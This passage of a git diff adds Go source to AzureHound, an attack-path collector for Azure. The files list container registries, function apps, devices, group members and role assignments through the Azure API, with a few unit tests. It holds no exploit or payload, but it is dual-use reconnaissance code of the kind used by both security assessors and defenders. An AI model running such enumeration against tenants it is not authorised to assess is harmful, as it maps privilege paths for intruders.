containerRegistries2) + + // Enumerate Logic Apps Role Assignments + logicAppRoleAssignments := listLogicAppRoleAssignments(ctx, client, logicApps2) + + // Enumerate Managed Cluster Role Assignments + managedClusterRoleAssignments := listManagedClusterRoleAssignments(ctx, client, managedClusters2) + + // Enumerate VM Scale Set Role Assignments + vmScaleSetRoleAssignments := listVMScaleSetRoleAssignments(ctx, client, vmScaleSets2) + + return pipeline.Mux(ctx.Done(), + automationAccounts, + automationAccountRoleAssignments, + containerRegistries, + containerRegistryRoleAssignments, + functionApps, + functionAppRoleAssignments, + keyVaultAccessPolicies, + keyVaultContributors, + keyVaultKVContributors, + keyVaultOwners, + keyVaultUserAccessAdmins, + keyVaults, + logicApps, + logicAppRoleAssignments, + managedClusters, + managedClusterRoleAssignments, + mgmtGroupDescendants, + mgmtGroupOwners, + mgmtGroupUserAccessAdmins, + mgmtGroups, + resourceGroupOwners, + resourceGroupUserAccessAdmins, + resourceGroups, + subscriptionOwners, + subscriptionUserAccessAdmins, + subscriptions, + virtualMachineAdminLogins, + virtualMachineAvereContributors, + virtualMachineContributors, + virtualMachineOwners, + virtualMachineUserAccessAdmins, + virtualMachines, + vmScaleSets, + vmScaleSetRoleAssignments, + webApps, + webAppRoleAssignments, + ) +} diff --git a/cmd/list-container-registries.go b/cmd/list-container-registries.go new file mode 100644 index 0000000..3786159 --- /dev/null +++ b/cmd/list-container-registries.go @@ -0,0 +1,132 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listContainerRegistriesCmd) +} + +var listContainerRegistriesCmd = &cobra.Command{ + Use: "container-registries", + Long: "Lists Azure Container Registries", + Run: listContainerRegistriesCmdImpl, + SilenceUsage: true, +} + +func listContainerRegistriesCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + if err := testConnections(); err != nil { + exit(err) + } else if azClient, err := newAzureClient(); err != nil { + exit(err) + } else { + log.Info("collecting azure container registries...") + start := time.Now() + stream := listContainerRegistries(ctx, azClient, listSubscriptions(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) + } +} + +func listContainerRegistries(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating container registries", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.SubscriptionId); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + for item := range client.ListAzureContainerRegistries(ctx, id) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing container registries for this subscription", "subscriptionId", id) + } else { + resourceGroupId := item.Ok.ResourceGroupId() + containerRegistry := models.ContainerRegistry{ + ContainerRegistry: item.Ok, + SubscriptionId: "/subscriptions/" + id, + ResourceGroupId: resourceGroupId, + TenantId: client.TenantInfo().TenantId, + } + log.V(2).Info("found container registry", "containerRegistry", containerRegistry) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZContainerRegistry, + Data: containerRegistry, + }); !ok { + return + } + } + } + log.V(1).Info("finished listing container registries", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all container registries") + }() + + return out +} diff --git a/cmd/list-container-registry-role-assignments.go b/cmd/list-container-registry-role-assignments.go new file mode 100644 index 0000000..7e8b696 --- /dev/null +++ b/cmd/list-container-registry-role-assignments.go @@ -0,0 +1,141 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "path" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listContainerRegistryRoleAssignment) +} + +var listContainerRegistryRoleAssignment = &cobra.Command{ + Use: "container-registry-role-assignments", + Long: "Lists Azure Container Registry Role Assignments", + Run: listContainerRegistryRoleAssignmentImpl, + SilenceUsage: true, +} + +func listContainerRegistryRoleAssignmentImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + if err := testConnections(); err != nil { + exit(err) + } else if azClient, err := newAzureClient(); err != nil { + exit(err) + } else { + log.Info("collecting azure container registry role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + stream := listContainerRegistryRoleAssignments(ctx, azClient, listContainerRegistries(ctx, azClient, subscriptions)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) + } +} + +func listContainerRegistryRoleAssignments(ctx context.Context, client client.AzureClient, containerRegistries <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), containerRegistries) { + if containerRegistry, ok := result.(AzureWrapper).Data.(models.ContainerRegistry); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating container registry role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, containerRegistry.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + containerRegistryRoleAssignments = models.AzureRoleAssignments{ + ObjectId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this container registry", "containerRegistryId", id) + } else { + roleDefinitionId := path.Base(item.Ok.Properties.RoleDefinitionId) + + containerRegistryRoleAssignment := models.AzureRoleAssignment{ + Assignee: item.Ok, + ObjectId: id, + RoleDefinitionId: roleDefinitionId, + } + log.V(2).Info("found container registry role assignment", "containerRegistryRoleAssignment", containerRegistryRoleAssignment) + count++ + containerRegistryRoleAssignments.RoleAssignments = append(containerRegistryRoleAssignments.RoleAssignments, containerRegistryRoleAssignment) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZContainerRegistryRoleAssignment, + Data: containerRegistryRoleAssignments, + }); !ok { + return + } + log.V(1).Info("finished listing container registry role assignments", "containerRegistryId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all container registry role assignments") + }() + + return out +} diff --git a/cmd/list-device-owners.go b/cmd/list-device-owners.go new file mode 100644 index 0000000..39e9b9e --- /dev/null +++ b/cmd/list-device-owners.go @@ -0,0 +1,131 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listDeviceOwnersCmd) +} + +var listDeviceOwnersCmd = &cobra.Command{ + Use: "device-owners", + Long: "Lists Azure AD Device Owners", + Run: listDeviceOwnersCmdImpl, + SilenceUsage: true, +} + +func listDeviceOwnersCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure device owners...") + start := time.Now() + stream := listDeviceOwners(ctx, azClient, listDevices(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listDeviceOwners(ctx context.Context, client client.AzureClient, devices <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), devices) { + if device, ok := result.(AzureWrapper).Data.(models.Device); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating device owners", "result", result) + } else { + if ok := pipeline.Send(ctx.Done(), ids, device.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + data = models.DeviceOwners{ + DeviceId: id, + } + count = 0 + ) + for item := range client.ListAzureDeviceRegisteredOwners(ctx, id, query.GraphParams{}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing owners for this device", "deviceId", id) + } else { + deviceOwner := models.DeviceOwner{ + Owner: item.Ok, + DeviceId: id, + } + log.V(2).Info("found device owner", "deviceOwner", deviceOwner) + count++ + data.Owners = append(data.Owners, deviceOwner) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZDeviceOwner, + Data: data, + }); !ok { + return + } + log.V(1).Info("finished listing device owners", "deviceId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all device owners") + }() + + return out +} diff --git a/cmd/list-device-owners_test.go b/cmd/list-device-owners_test.go new file mode 100644 index 0000000..87a2306 --- /dev/null +++ b/cmd/list-device-owners_test.go @@ -0,0 +1,102 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "encoding/json" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListDeviceOwners(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockDevicesChannel := make(chan interface{}) + mockDeviceOwnerChannel := make(chan client.AzureResult[json.RawMessage]) + mockDeviceOwnerChannel2 := make(chan client.AzureResult[json.RawMessage]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureDeviceRegisteredOwners(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockDeviceOwnerChannel).Times(1) + mockClient.EXPECT().ListAzureDeviceRegisteredOwners(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockDeviceOwnerChannel2).Times(1) + channel := listDeviceOwners(ctx, mockClient, mockDevicesChannel) + + go func() { + defer close(mockDevicesChannel) + mockDevicesChannel <- AzureWrapper{ + Data: models.Device{}, + } + mockDevicesChannel <- AzureWrapper{ + Data: models.Device{}, + } + }() + go func() { + defer close(mockDeviceOwnerChannel) + mockDeviceOwnerChannel <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + mockDeviceOwnerChannel <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + }() + go func() { + defer close(mockDeviceOwnerChannel2) + mockDeviceOwnerChannel2 <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + mockDeviceOwnerChannel2 <- client.AzureResult[json.RawMessage]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if data, ok := wrapper.Data.(models.DeviceOwners); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.DeviceOwners{}) + } else if len(data.Owners) != 2 { + t.Errorf("got %v, want %v", len(data.Owners), 2) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if data, ok := wrapper.Data.(models.DeviceOwners); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.DeviceOwners{}) + } else if len(data.Owners) != 1 { + t.Errorf("got %v, want %v", len(data.Owners), 2) + } +} diff --git a/cmd/list-devices.go b/cmd/list-devices.go new file mode 100644 index 0000000..184b5bb --- /dev/null +++ b/cmd/list-devices.go @@ -0,0 +1,91 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listDevicesCmd) +} + +var listDevicesCmd = &cobra.Command{ + Use: "devices", + Long: "Lists Azure Active Directory Devices", + Run: listDevicesCmdImpl, + SilenceUsage: true, +} + +func listDevicesCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure active directory devices...") + start := time.Now() + stream := listDevices(ctx, azClient) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listDevices(ctx context.Context, client client.AzureClient) <-chan interface{} { + out := make(chan interface{}) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + count := 0 + for item := range client.ListAzureDevices(ctx, query.GraphParams{}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing devices") + return + } else { + log.V(2).Info("found device", "device", item) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZDevice, + Data: models.Device{ + Device: item.Ok, + TenantId: client.TenantInfo().TenantId, + TenantName: client.TenantInfo().DisplayName, + }, + }); !ok { + return + } + } + } + log.Info("finished listing all devices", "count", count) + }() + + return out +} diff --git a/cmd/list-devices_test.go b/cmd/list-devices_test.go new file mode 100644 index 0000000..a2a19ed --- /dev/null +++ b/cmd/list-devices_test.go @@ -0,0 +1,69 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListDevices(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + mockChannel := make(chan client.AzureResult[azure.Device]) + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureDevices(gomock.Any(), gomock.Any()).Return(mockChannel) + + go func() { + defer close(mockChannel) + mockChannel <- client.AzureResult[azure.Device]{ + Ok: azure.Device{}, + } + mockChannel <- client.AzureResult[azure.Device]{ + Error: mockError, + } + mockChannel <- client.AzureResult[azure.Device]{ + Ok: azure.Device{}, + } + }() + + channel := listDevices(ctx, mockClient) + result := <-channel + if _, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } + + if _, ok := <-channel; ok { + t.Error("expected channel to close from an error result but it did not") + } +} diff --git a/cmd/list-function-app-role-assignments.go b/cmd/list-function-app-role-assignments.go new file mode 100644 index 0000000..66dc6fa --- /dev/null +++ b/cmd/list-function-app-role-assignments.go @@ -0,0 +1,136 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "path" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listFunctionAppRoleAssignment) +} + +var listFunctionAppRoleAssignment = &cobra.Command{ + Use: "function-app-role-assignments", + Long: "Lists Azure Function App Role Assignments", + Run: listFunctionAppRoleAssignmentImpl, + SilenceUsage: true, +} + +func listFunctionAppRoleAssignmentImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure function app role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + stream := listFunctionAppRoleAssignments(ctx, azClient, listFunctionApps(ctx, azClient, subscriptions)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listFunctionAppRoleAssignments(ctx context.Context, client client.AzureClient, functionApps <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), functionApps) { + if functionApp, ok := result.(AzureWrapper).Data.(models.FunctionApp); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating function app role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, functionApp.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + functionAppRoleAssignments = models.AzureRoleAssignments{ + ObjectId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this function app", "functionAppId", id) + } else { + roleDefinitionId := path.Base(item.Ok.Properties.RoleDefinitionId) + + functionAppRoleAssignment := models.AzureRoleAssignment{ + Assignee: item.Ok, + ObjectId: id, + RoleDefinitionId: roleDefinitionId, + } + log.V(2).Info("Found function app role asignment", "functionAppRoleAssignment", functionAppRoleAssignment) + count++ + functionAppRoleAssignments.RoleAssignments = append(functionAppRoleAssignments.RoleAssignments, functionAppRoleAssignment) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZFunctionAppRoleAssignment, + Data: functionAppRoleAssignments, + }); !ok { + return + } + log.V(1).Info("finished listing function app role assignments", "functionAppId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all function app role assignments") + }() + + return out +} diff --git a/cmd/list-function-apps.go b/cmd/list-function-apps.go new file mode 100644 index 0000000..a055412 --- /dev/null +++ b/cmd/list-function-apps.go @@ -0,0 +1,129 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listFunctionAppsCmd) +} + +var listFunctionAppsCmd = &cobra.Command{ + Use: "function-apps", + Long: "Lists Azure Function Apps", + Run: listFunctionAppsCmdImpl, + SilenceUsage: true, +} + +func listFunctionAppsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure function apps...") + start := time.Now() + stream := listFunctionApps(ctx, azClient, listSubscriptions(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listFunctionApps(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating function apps", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.SubscriptionId); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + for item := range client.ListAzureFunctionApps(ctx, id) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing function apps for this subscription", "subscriptionId", id) + } else { + functionApp := models.FunctionApp{ + FunctionApp: item.Ok, + SubscriptionId: "/subscriptions/" + id, + ResourceGroupId: item.Ok.ResourceGroupId(), + ResourceGroupName: item.Ok.ResourceGroupName(), + TenantId: client.TenantInfo().TenantId, + } + if functionApp.Kind == "functionapp" { + log.V(2).Info("found function app", "functionApp", functionApp) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZFunctionApp, + Data: functionApp, + }); !ok { + return + } + } + } + } + log.V(1).Info("finished listing function apps", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all function apps") + }() + + return out +} diff --git a/cmd/list-group-members.go b/cmd/list-group-members.go new file mode 100644 index 0000000..330fbac --- /dev/null +++ b/cmd/list-group-members.go @@ -0,0 +1,142 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listGroupMembersCmd) + listGroupMembersCmd.Flags().StringSliceVar(&listGroupMembersSelect, "select", []string{"id,displayName,createdDateTime"}, `Select properties to include. Use "" for Azure default properties. Azurehound default is "id,displayName,createdDateTime" if flag is not supplied.`) +} + +var listGroupMembersCmd = &cobra.Command{ + Use: "group-members", + Long: "Lists Azure AD Group Members", + Run: listGroupMembersCmdImpl, + SilenceUsage: true, +} + +var listGroupMembersSelect []string + +func listGroupMembersCmdImpl(cmd *cobra.Command, _ []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure group members...") + start := time.Now() + stream := listGroupMembers(ctx, azClient, listGroups(ctx, azClient)) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listGroupMembers(ctx context.Context, client client.AzureClient, groups <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + params = query.GraphParams{ + Select: unique(listGroupMembersSelect), + Filter: "", + Count: false, + Search: "", + Top: 0, + Expand: "", + } + ) + + go func() 